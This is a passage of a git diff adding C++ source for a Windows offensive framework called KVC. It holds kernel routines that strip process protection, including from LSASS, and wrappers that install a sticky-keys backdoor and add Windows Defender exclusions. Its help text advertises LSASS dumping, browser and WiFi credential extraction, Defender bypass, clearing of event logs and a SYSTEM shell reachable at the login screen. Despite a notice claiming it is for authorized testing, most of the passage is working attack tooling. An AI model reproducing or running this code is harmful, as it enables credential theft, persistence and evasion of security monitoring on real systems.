PerformAtomicCleanup(); + return false; + } + + auto currentProtection = GetProcessProtection(kernelAddr.value()); + if (!currentProtection) { + PerformAtomicCleanup(); + return false; + } + + if (currentProtection.value() == 0) { + ERROR(L"PID %d is not protected", pid); + PerformAtomicCleanup(); + return false; + } + + if (!SetProcessProtection(kernelAddr.value(), 0)) { + ERROR(L"Failed to remove protection from PID %d", pid); + PerformAtomicCleanup(); + return false; + } + + SUCCESS(L"Removed protection from PID %d", pid); + + PerformAtomicCleanup(); + + return true; +} + +bool Controller::ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + + auto kernelAddr = GetProcessKernelAddress(pid); + if (!kernelAddr) { + PerformAtomicCleanup(); + return false; + } + + auto currentProtection = GetProcessProtection(kernelAddr.value()); + if (!currentProtection) { + PerformAtomicCleanup(); + return false; + } + + if (currentProtection.value() > 0) { + ERROR(L"PID %d is already protected", pid); + PerformAtomicCleanup(); + return false; + } + + auto level = Utils::GetProtectionLevelFromString(protectionLevel); + auto signer = Utils::GetSignerTypeFromString(signerType); + + if (!level || !signer) { + ERROR(L"Invalid protection level or signer type"); + PerformAtomicCleanup(); + return false; + } + + UCHAR newProtection = Utils::GetProtection(level.value(), signer.value()); + if (!SetProcessProtection(kernelAddr.value(), newProtection)) { + ERROR(L"Failed to protect PID %d", pid); + PerformAtomicCleanup(); + return false; + } + + SUCCESS(L"Protected PID %d with %s-%s", pid, protectionLevel.c_str(), signerType.c_str()); + + PerformAtomicCleanup(); + + return true; +} + +bool Controller::SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + + auto level = Utils::GetProtectionLevelFromString(protectionLevel); + auto signer = Utils::GetSignerTypeFromString(signerType); + + if (!level || !signer) { + ERROR(L"Invalid protection level or signer type"); + PerformAtomicCleanup(); + return false; + } + + auto kernelAddr = GetProcessKernelAddress(pid); + if (!kernelAddr) { + PerformAtomicCleanup(); + return false; + } + + UCHAR newProtection = Utils::GetProtection(level.value(), signer.value()); + + if (!SetProcessProtection(kernelAddr.value(), newProtection)) { + ERROR(L"Failed to set protection on PID %d", pid); + PerformAtomicCleanup(); + return false; + } + + SUCCESS(L"Set protection %s-%s on PID %d", protectionLevel.c_str(), signerType.c_str(), pid); + + PerformAtomicCleanup(); + + return true; +} + +// Mass protection removal operations +bool Controller::UnprotectAllProcesses() noexcept { + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + + auto processes = GetProcessList(); + DWORD totalCount = 0; + DWORD successCount = 0; + + INFO(L"Starting mass unprotection of all protected processes..."); + + for (const auto& entry : processes) { + if (entry.ProtectionLevel > 0) { + totalCount++; + + if (SetProcessProtection(entry.KernelAddress, 0)) { + successCount++; + SUCCESS(L"Removed protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str()); + } else { + ERROR(L"Failed to remove protection from PID %d (%s)", entry.Pid, entry.ProcessName.c_str()); + } + } + } + + if (totalCount == 0) { + INFO(L"No protected processes found"); + } else { + INFO(L"Mass unprotection completed: %d/%d processes successfully unprotected", successCount, totalCount); + } + + PerformAtomicCleanup(); + + return successCount == totalCount; +} + +bool Controller::UnprotectMultipleProcesses(const std::vector& targets) noexcept { + if (targets.empty()) { + ERROR(L"No targets specified for batch unprotection"); + return false; + } + + if (!PerformAtomicInitWithErrorCleanup()) { + return false; + } + + DWORD successCount = 0; + DWORD totalCount = static_cast(targets.size()); + + INFO(L"Starting batch unprotection of %d targets...", totalCount); + + for (const auto& target : targets) { + bool result = false; + + // Check if target is numeric (PID) + if (Utils::IsNumeric(target)) { + auto pid = Utils::ParsePid(target); + if (pid) { + auto kernelAddr = GetProcessKernelAddress(pid.value()); + if (kernelAddr) { + auto currentProtection = GetProcessProtection(kernelAddr.value()); + if (currentProtection && currentProtection.value() > 0) { + if (SetProcessProtection(kernelAddr.value(), 0)) { + SUCCESS(L"Removed protection from PID %d", pid.value()); + result = true; + } else { + ERROR(L"Failed to remove protection from PID %d", pid.value()); + } + } else { + INFO(L"PID %d is not protected", pid.value()); + result = true; // Consider this a success + } + } + } else { + ERROR(L"Invalid PID format: %s", target.c_str()); + } + } else { + // Target is process name + auto matches = FindProcessesByName(target); + if (matches.size() == 1) { + auto match = matches[0]; + auto currentProtection = GetProcessProtection(match.KernelAddress); + if (currentProtection && currentProtection.value() > 0) { + if (SetProcessProtection(match.KernelAddress, 0)) { + SUCCESS(L"Removed protection from %s (PID %d)", match.ProcessName.c_str(), match.Pid); + result = true; + } else { + ERROR(L"Failed to remove protection from %s (PID %d)", match.ProcessName.c_str(), match.Pid); + } + } else { + INFO(L"%s (PID %d) is not protected", match.ProcessName.c_str(), match.Pid); + result = true; // Consider this a success + } + } else { + ERROR(L"Could not resolve process name: %s", target.c_str()); + } + } + + if (result) successCount++; + } + + INFO(L"Batch unprotection completed: %d/%d targets successfully processed", successCount, totalCount); + + PerformAtomicCleanup(); + + return successCount == totalCount; +} + +// Process name-based operations using composite pattern +bool Controller::ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { + auto match = ResolveNameWithoutDriver(processName); + if (!match) { + return false; + } + + return ProtectProcess(match->Pid, protectionLevel, signerType); +} + +bool Controller::UnprotectProcessByName(const std::wstring& processName) noexcept { + auto match = ResolveNameWithoutDriver(processName); + if (!match) { + return false; + } + + return UnprotectProcess(match->Pid); +} + +bool Controller::SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { + auto match = ResolveNameWithoutDriver(processName); + if (!match) { + return false; + } + + return SetProcessProtection(match->Pid, protectionLevel, signerType); +} \ No newline at end of file diff --git a/kvc/ControllerSystemIntegration.cpp b/kvc/ControllerSystemIntegration.cpp new file mode 100644 index 0000000..cab2b1a --- /dev/null +++ b/kvc/ControllerSystemIntegration.cpp @@ -0,0 +1,142 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// ControllerSystemIntegration.cpp +#include "Controller.h" +#include "common.h" +#include "Utils.h" + +// Self-protection operations for process elevation +bool Controller::SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept { + auto level = Utils::GetProtectionLevelFromString(protectionLevel); + auto signer = Utils::GetSignerTypeFromString(signerType); + + if (!level || !signer) { + ERROR(L"Invalid protection level or signer type specified"); + return false; + } + + UCHAR newProtection = Utils::GetProtection(level.value(), signer.value()); + return SetCurrentProcessProtection(newProtection); +} + +bool Controller::SetCurrentProcessProtection(UCHAR protection) noexcept { + DWORD currentPid = GetCurrentProcessId(); + auto kernelAddr = GetProcessKernelAddress(currentPid); + if (!kernelAddr) { + ERROR(L"Failed to get kernel address for current process"); + return false; + } + return SetProcessProtection(kernelAddr.value(), protection); +} + +bool Controller::EnableDebugPrivilege() noexcept { + HANDLE hToken; + TOKEN_PRIVILEGES tokenPrivileges; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) + return false; + + LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &tokenPrivileges.Privileges[0].Luid); + tokenPrivileges.PrivilegeCount = 1; + tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + bool result = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, 0); + CloseHandle(hToken); + return result; +} + +// TrustedInstaller integration for maximum privilege operations +bool Controller::RunAsTrustedInstaller(const std::wstring& commandLine) { + return m_trustedInstaller.RunAsTrustedInstaller(commandLine); +} + +bool Controller::RunAsTrustedInstallerSilent(const std::wstring& command) { + return m_trustedInstaller.RunAsTrustedInstallerSilent(command); +} + +bool Controller::AddContextMenuEntries() { + return m_trustedInstaller.AddContextMenuEntries(); +} + +// Legacy Defender exclusion management (backward compatibility) +bool Controller::AddToDefenderExclusions(const std::wstring& customPath) { + return m_trustedInstaller.AddToDefenderExclusions(customPath); +} + +bool Controller::RemoveFromDefenderExclusions(const std::wstring& customPath) { + return m_trustedInstaller.RemoveFromDefenderExclusions(customPath); +} + +// Enhanced Defender exclusion management with type specification +bool Controller::AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value) { + return m_trustedInstaller.AddDefenderExclusion(type, value); +} + +bool Controller::RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value) { + return m_trustedInstaller.RemoveDefenderExclusion(type, value); +} + +// Type-specific exclusion convenience methods +bool Controller::AddExtensionExclusion(const std::wstring& extension) { + return m_trustedInstaller.AddExtensionExclusion(extension); +} + +bool Controller::RemoveExtensionExclusion(const std::wstring& extension) { + return m_trustedInstaller.RemoveExtensionExclusion(extension); +} + +bool Controller::AddIpAddressExclusion(const std::wstring& ipAddress) { + return m_trustedInstaller.AddIpAddressExclusion(ipAddress); +} + +bool Controller::RemoveIpAddressExclusion(const std::wstring& ipAddress) { + return m_trustedInstaller.RemoveIpAddressExclusion(ipAddress); +} + +bool Controller::AddProcessExclusion(const std::wstring& processName) { + return m_trustedInstaller.AddProcessToDefenderExclusions(processName); +} + +bool Controller::RemoveProcessExclusion(const std::wstring& processName) { + return m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName); +} + +bool Controller::AddPathExclusion(const std::wstring& path) { + return m_trustedInstaller.AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, path); +} + +bool Controller::RemovePathExclusion(const std::wstring& path) { + return m_trustedInstaller.RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType::Paths, path); +} + +// Sticky keys backdoor operations with TrustedInstaller integration +bool Controller::InstallStickyKeysBackdoor() noexcept { + return m_trustedInstaller.InstallStickyKeysBackdoor(); +} + +bool Controller::RemoveStickyKeysBackdoor() noexcept { + return m_trustedInstaller.RemoveStickyKeysBackdoor(); +} \ No newline at end of file diff --git a/kvc/HelpSystem.cpp b/kvc/HelpSystem.cpp new file mode 100644 index 0000000..46e8d1d --- /dev/null +++ b/kvc/HelpSystem.cpp @@ -0,0 +1,494 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include +#include "HelpSystem.h" +#include +#include + +void HelpSystem::PrintUsage(std::wstring_view programName) noexcept +{ + PrintHeader(); + + std::wcout << L"Usage: " << programName << L" [arguments]\n\n"; + + PrintServiceCommands(); + PrintBasicCommands(); + PrintProtectionCommands(); + PrintSystemCommands(); + PrintBrowserCommands(); + PrintDefenderCommands(); + PrintDPAPICommands(); + PrintProtectionTypes(); + PrintExclusionTypes(); + PrintPatternMatching(); + PrintTechnicalFeatures(); + PrintDefenderNotes(); + PrintStickyKeysInfo(); + PrintUndumpableProcesses(); + PrintUsageExamples(programName); + PrintSecurityNotice(); + PrintFooter(); +} + +void HelpSystem::PrintHeader() noexcept +{ + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hConsole, &csbi); + WORD originalColor = csbi.wAttributes; + + const int width = 80; + + // Blue header border + SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << L"\n"; + std::wcout << L"================================================================================\n"; + + // Centered text printing with white color + auto printCentered = [&](const std::wstring& text) { + int textLen = static_cast(text.length()); + int padding = (width - textLen) / 2; + if (padding < 0) padding = 0; + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << std::wstring(padding, L' ') << text << L"\n"; + }; + + printCentered(L"Marek Wesolowski - WESMAR - 2025"); + printCentered(L"kvc.exe v1.0.1 https://kvc.pl"); + printCentered(L"+48 607-440-283, marek@wesolowski.eu.org"); + printCentered(L"kvc - Kernel Vulnerability Capabilities Framework"); + printCentered(L"Comprehensive Windows Security Research & Penetration Framework"); + printCentered(L"Features Process Protection, DPAPI Extraction, Defender Bypass & More"); + + SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << L"================================================================================\n\n"; + + // Restore original console color + SetConsoleTextAttribute(hConsole, originalColor); +} + +void HelpSystem::PrintServiceCommands() noexcept +{ + PrintSectionHeader(L"Service Management Commands (Advanced Scenarios)"); + PrintCommandLine(L"setup", L"Decrypt and deploy combined binary components from kvc.dat"); + PrintCommandLine(L"install", L"Install as NT service with TrustedInstaller privileges"); + PrintCommandLine(L"uninstall", L"Uninstall NT service"); + PrintCommandLine(L"service start", L"Start the Kernel Vulnerability Capabilities Framework service"); + PrintCommandLine(L"service stop", L"Stop the Kernel Vulnerability Capabilities Framework service"); + PrintCommandLine(L"service status", L"Check service status"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintBasicCommands() noexcept +{ + PrintSectionHeader(L"Memory Dumping Commands"); + PrintCommandLine(L"dump [path]", L"Create comprehensive memory dump"); + PrintNote(L"Default path is the Downloads folder - simple: 'kvc dump lsass'"); + PrintWarning(L"MsMpEng dump only works with Defender disabled (otherwise Ctrl+C)"); + std::wcout << L"\n"; + + PrintSectionHeader(L"Process Information Commands"); + PrintCommandLine(L"list", L"List all protected processes with color coding"); + PrintCommandLine(L"get ", L"Get protection status of specific process"); + PrintCommandLine(L"info ", L"Get detailed process info including dumpability"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintProtectionCommands() noexcept +{ + PrintSectionHeader(L"Process Protection Commands"); + PrintCommandLine(L"set ", L"Set protection (force, ignoring current state)"); + PrintCommandLine(L"protect ", L"Protect unprotected process"); + PrintCommandLine(L"unprotect ", L"Remove protection from specific process"); + PrintCommandLine(L"unprotect all", L"Remove protection from ALL processes"); + PrintCommandLine(L"unprotect ", L"Remove protection from multiple processes"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintSystemCommands() noexcept +{ + PrintSectionHeader(L"System Integration Commands"); + PrintCommandLine(L"shift", L"Install sticky keys backdoor (5x Shift = SYSTEM cmd)"); + PrintCommandLine(L"unshift", L"Remove sticky keys backdoor"); + PrintCommandLine(L"trusted ", L"Run command with elevated system privileges"); + PrintCommandLine(L"install-context", L"Add context menu entries for right-click access"); + PrintCommandLine(L"evtclear", L"Clear all primary system event logs (Application, Security, Setup, System)"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintDefenderCommands() noexcept +{ + PrintSectionHeader(L"Enhanced Windows Defender Exclusion Management"); + PrintCommandLine(L"add-exclusion ", L"Add file/folder to exclusions (legacy syntax)"); + PrintCommandLine(L"add-exclusion Paths ", L"Add specific path to exclusions"); + PrintCommandLine(L"add-exclusion Processes ", L"Add process to exclusions"); + PrintCommandLine(L"add-exclusion Extensions ", L"Add file extension to exclusions"); + PrintCommandLine(L"add-exclusion IpAddresses ", L"Add IP address/CIDR to exclusions"); + PrintCommandLine(L"remove-exclusion [TYPE] ", L"Remove exclusion (same syntax as add)"); + PrintNote(L"When no path specified, adds current program to both Paths and Processes"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintDPAPICommands() noexcept +{ + PrintSectionHeader(L"DPAPI Secrets Extraction Commands"); + PrintCommandLine(L"export secrets [path]", L"Extract browser & WiFi secrets using TrustedInstaller"); + PrintNote(L"Default path is the Downloads folder - simple: 'kvc export secrets'"); + PrintNote(L"Extracts Chrome, Edge passwords + WiFi credentials + master keys"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintProtectionTypes() noexcept +{ + PrintSectionHeader(L"Protection Types"); + std::wcout << L" PP - Protected Process (highest protection level)\n"; + std::wcout << L" PPL - Protected Process Light (medium protection level)\n\n"; + + PrintSectionHeader(L"Signer Types"); + std::wcout << L" Authenticode - Standard code signing authority\n"; + std::wcout << L" CodeGen - Code generation process signing\n"; + std::wcout << L" Antimalware - Antimalware vendor signing (for security software)\n"; + std::wcout << L" Lsa - Local Security Authority signing\n"; + std::wcout << L" Windows - Microsoft Windows component signing\n"; + std::wcout << L" WinTcb - Windows Trusted Computing Base signing\n"; + std::wcout << L" WinSystem - Windows System component signing\n"; + std::wcout << L" App - Application store signing\n\n"; +} + +void HelpSystem::PrintExclusionTypes() noexcept +{ + PrintSectionHeader(L"Exclusion Types"); + std::wcout << L" Paths - File/folder paths (C:\\malware.exe, C:\\temp\\)\n"; + std::wcout << L" Processes - Process names (malware.exe, cmd.exe)\n"; + std::wcout << L" Extensions - File extensions (.exe, .dll, .tmp)\n"; + std::wcout << L" IpAddresses - IP addresses/CIDR (192.168.1.1, 10.0.0.0/24)\n\n"; +} + +void HelpSystem::PrintPatternMatching() noexcept +{ + PrintSectionHeader(L"Process Name Matching"); + std::wcout << L" - Exact match: 'explorer', 'notepad'\n"; + std::wcout << L" - Partial match: 'total' matches 'totalcmd64'\n"; + std::wcout << L" - Wildcards: 'total*' matches 'totalcmd64.exe'\n"; + std::wcout << L" - Case insensitive matching supported\n"; + std::wcout << L" - Multiple matches require more specific patterns\n\n"; +} + +void HelpSystem::PrintTechnicalFeatures() noexcept +{ + PrintSectionHeader(L"TrustedInstaller Features"); + std::wcout << L" - Executes commands with maximum system privileges\n"; + std::wcout << L" - Supports .exe files and .lnk shortcuts automatically\n"; + std::wcout << L" - Adds convenient context menu entries\n"; + std::wcout << L" - Enhanced Windows Defender exclusion management\n\n"; + + PrintSectionHeader(L"Technical Features"); + std::wcout << L" - Dynamic kernel driver loading (no permanent installation)\n"; + std::wcout << L" - Embedded encrypted driver with steganographic protection\n"; + std::wcout << L" - Automatic privilege escalation for memory dumping\n"; + std::wcout << L" - Complete cleanup on exit (no system traces)\n"; + std::wcout << L" - Advanced process pattern matching\n"; + std::wcout << L" - Color-coded process protection visualization\n"; + std::wcout << L" - IFEO sticky keys backdoor with Defender bypass\n"; + std::wcout << L" - Self-protection capabilities for advanced scenarios\n"; + std::wcout << L" - Comprehensive Windows Defender exclusion management\n\n"; +} + +void HelpSystem::PrintDefenderNotes() noexcept +{ + PrintSectionHeader(L"Defender Exclusion Notes"); + std::wcout << L" Defender exclusions use PowerShell Add-MpPreference commands with TrustedInstaller.\n"; + std::wcout << L" Extensions: Automatically adds leading dot if missing (.exe, not exe)\n"; + std::wcout << L" Processes: Extracts filename from full path if provided\n"; + std::wcout << L" IpAddresses: Supports CIDR notation (192.168.1.0/24)\n"; + std::wcout << L" Self-protection: When no arguments, adds to both Paths and Processes\n"; + std::wcout << L" Legacy syntax (kvc add-exclusion file.exe) still works for compatibility\n\n"; +} + +void HelpSystem::PrintStickyKeysInfo() noexcept +{ + PrintSectionHeader(L"Sticky Keys Backdoor Features"); + std::wcout << L" - Press 5x Shift on login screen to get SYSTEM cmd.exe\n"; + std::wcout << L" - Works without login or active session\n"; + std::wcout << L" - Bypasses Windows Defender with process exclusions\n"; + std::wcout << L" - Uses Image File Execution Options (IFEO) technique\n"; + std::wcout << L" - Complete cleanup with 'unshift' command\n\n"; + + PrintSectionHeader(L"Sticky Keys Backdoor Notes"); + std::wcout << L" After 'kvc shift', press 5x Shift on Windows login screen to get cmd.exe.\n"; + std::wcout << L" The cmd runs with SYSTEM privileges without requiring login.\n"; + std::wcout << L" Defender process exclusions prevent detection of cmd.exe activity.\n"; + std::wcout << L" Use 'kvc unshift' to completely remove all traces.\n"; + std::wcout << L" This technique works on Windows 7-11, including Server editions.\n\n"; +} + +void HelpSystem::PrintUndumpableProcesses() noexcept +{ + PrintSectionHeader(L"Undumpable System Processes"); + std::wcout << L" - System (PID 4) - Windows kernel process\n"; + std::wcout << L" - Secure System (PID 188) - VSM/VBS protected process\n"; + std::wcout << L" - Registry (PID 232) - Kernel registry subsystem\n"; + std::wcout << L" - Memory Compression - Kernel memory manager\n"; + std::wcout << L" - [Unknown] processes - Transient kernel processes\n\n"; +} + +void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept +{ + PrintSectionHeader(L"Usage Examples"); + const int commandWidth = 50; + + auto printLine = [&](const std::wstring& command, const std::wstring& description) { + std::wcout << L" " << std::left << std::setw(commandWidth) + << (std::wstring(programName) + L" " + command) + << L"# " << description << L"\n"; + }; + + printLine(L"shift", L"Install sticky keys backdoor"); + printLine(L"unshift", L"Remove sticky keys backdoor"); + printLine(L"install", L"Install as NT service (advanced)"); + printLine(L"service start", L"Start the service"); + printLine(L"uninstall", L"Remove service"); + printLine(L"dump lsass C:\\dumps", L"Dump LSASS to specific folder"); + printLine(L"dump 1044", L"Dump PID 1044 to Downloads folder"); + printLine(L"list", L"Show all protected processes"); + printLine(L"info lsass", L"Detailed info with dumpability analysis"); + printLine(L"protect 1044 PPL Antimalware", L"Protect process with PPL-Antimalware"); + printLine(L"set 5678 PP Windows", L"Force set PP-Windows protection"); + printLine(L"unprotect lsass", L"Remove protection from LSASS"); + printLine(L"unprotect 1,2,3,lsass", L"Batch unprotect multiple targets"); + printLine(L"trusted cmd", L"Run command as TrustedInstaller"); + printLine(L"trusted \"C:\\app.exe\" --arg", L"Run application with arguments"); + printLine(L"install-context", L"Add right-click menu entries"); + printLine(L"add-exclusion", L"Add current program to exclusions"); + printLine(L"add-exclusion C:\\malware.exe", L"Add specific file to exclusions"); + printLine(L"add-exclusion Paths C:\\temp", L"Add folder to path exclusions"); + printLine(L"add-exclusion Processes cmd.exe", L"Add process to exclusions"); + printLine(L"add-exclusion Extensions .tmp", L"Add extension to exclusions"); + printLine(L"add-exclusion IpAddresses 1.1.1.1", L"Add IP to exclusions"); + printLine(L"remove-exclusion Processes cmd.exe", L"Remove process exclusion"); + printLine(L"export secrets", L"Export secrets to Downloads folder"); + printLine(L"export secrets C:\\reports", L"Export secrets to specific folder"); + std::wcout << L"\n"; +} + +void HelpSystem::PrintSecurityNotice() noexcept +{ + PrintSectionHeader(L"SECURITY & LEGAL NOTICE"); + + // Critical warning section with red highlighting + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hConsole, &csbi); + WORD originalColor = csbi.wAttributes; + + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY); + std::wcout << L" WARNING: POWERFUL SECURITY RESEARCH TOOL - USE RESPONSIBLY\n\n"; + SetConsoleTextAttribute(hConsole, originalColor); + + std::wcout << L" CAPABILITIES & REQUIREMENTS:\n"; + std::wcout << L" - Kernel driver manipulation with advanced memory access techniques\n"; + std::wcout << L" - DPAPI secret extraction (browser passwords, WiFi credentials, certificates)\n"; + std::wcout << L" - Windows Defender bypass and exclusion management\n"; + std::wcout << L" - System persistence mechanisms (sticky keys backdoor, IFEO techniques)\n"; + std::wcout << L" - TrustedInstaller privilege escalation and system-level operations\n"; + std::wcout << L" - Process protection manipulation and memory dumping\n"; + std::wcout << L" - Registry modifications and service installation capabilities\n\n"; + + std::wcout << L" TECHNICAL IMPLEMENTATION:\n"; + std::wcout << L" - Embedded encrypted kernel driver with steganographic protection\n"; + std::wcout << L" - Dynamic driver loading - temporary deployment with automatic cleanup\n"; + std::wcout << L" - Administrator privileges required for all security operations\n"; + std::wcout << L" - Most operations leave no permanent traces except when explicitly requested\n"; + std::wcout << L" - Some commands (shift, install, add-exclusion) make persistent changes\n"; + std::wcout << L" - These changes are reversible (via unshift, remove-exclusion, etc.)\n\n"; + + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); + std::wcout << L" LEGAL & ETHICAL RESPONSIBILITY:\n"; + SetConsoleTextAttribute(hConsole, originalColor); + std::wcout << L" - Intended for authorized penetration testing and security research only\n"; + std::wcout << L" - User assumes full legal responsibility for all actions performed\n"; + std::wcout << L" - Ensure proper authorization before using on any system\n"; + std::wcout << L" - Misuse may violate computer crime laws in your jurisdiction\n"; + std::wcout << L" - This tool can modify system security settings and extract sensitive data\n\n"; + + SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY); + std::wcout << L" PROFESSIONAL USE GUIDELINES:\n"; + SetConsoleTextAttribute(hConsole, originalColor); + std::wcout << L" - Document all activities for security assessments\n"; + std::wcout << L" - Use 'unshift' and 'remove-exclusion' commands to clean up after testing\n"; + std::wcout << L" - Verify system state before and after testing\n"; + std::wcout << L" - Report findings through appropriate responsible disclosure channels\n\n"; + + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY); + std::wcout << L" By using this tool, you acknowledge understanding and accept full responsibility.\n\n"; + SetConsoleTextAttribute(hConsole, originalColor); +} + +void HelpSystem::PrintFooter() noexcept +{ + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hConsole, &csbi); + WORD originalColor = csbi.wAttributes; + + const int width = 80; + + // Top border with blue color + SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n"; + + // Centered footer content - split into multiple lines + std::wstring line1 = L"Support this project - a small donation is greatly appreciated"; + std::wstring line2 = L"and helps sustain private research builds."; + std::wstring line3 = L"GitHub source code: https://github.com/wesmar/kvc/"; + std::wstring line4 = L"Professional services: marek@wesolowski.eu.org"; + + auto printCenteredFooter = [&](const std::wstring& text) { + int textLen = static_cast(text.length()); + int padding = (width - 2 - textLen) / 2; + if (padding < 0) padding = 0; + + // Left border in blue + SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << L"|"; + + // Text in white + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << std::wstring(padding, L' ') << text + << std::wstring(width - 2 - padding - textLen, L' '); + + // Right border in blue + SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << L"|\n"; + }; + + printCenteredFooter(line1); + printCenteredFooter(line2); + printCenteredFooter(line3); + printCenteredFooter(line4); + + // Donation line with colored links + SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << L"|"; + + // Calculate spacing for PayPal and Revolut + std::wstring paypal = L"PayPal: "; + std::wstring paypalLink = L"paypal.me/ext1"; + std::wstring middle = L" "; + std::wstring revolut = L"Revolut: "; + std::wstring revolutLink = L"revolut.me/marekb92"; + + int totalLen = static_cast(paypal.length() + paypalLink.length() + + middle.length() + revolut.length() + revolutLink.length()); + int padding = (width - totalLen - 2) / 2; + if (padding < 0) padding = 0; + + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << std::wstring(padding, L' ') << paypal; + SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY); + std::wcout << paypalLink; + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << middle << revolut; + SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY); + std::wcout << revolutLink; + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << std::wstring(width - totalLen - padding - 2, L' '); + + SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY); + std::wcout << L"|\n"; + + // Bottom border + std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n\n"; + + // Restore original color + SetConsoleTextAttribute(hConsole, originalColor); +} + +// Helper functions for consistent formatting and color management +void HelpSystem::PrintSectionHeader(const wchar_t* title) noexcept +{ + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hConsole, &csbi); + WORD originalColor = csbi.wAttributes; + + // Yellow color for section headers + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | 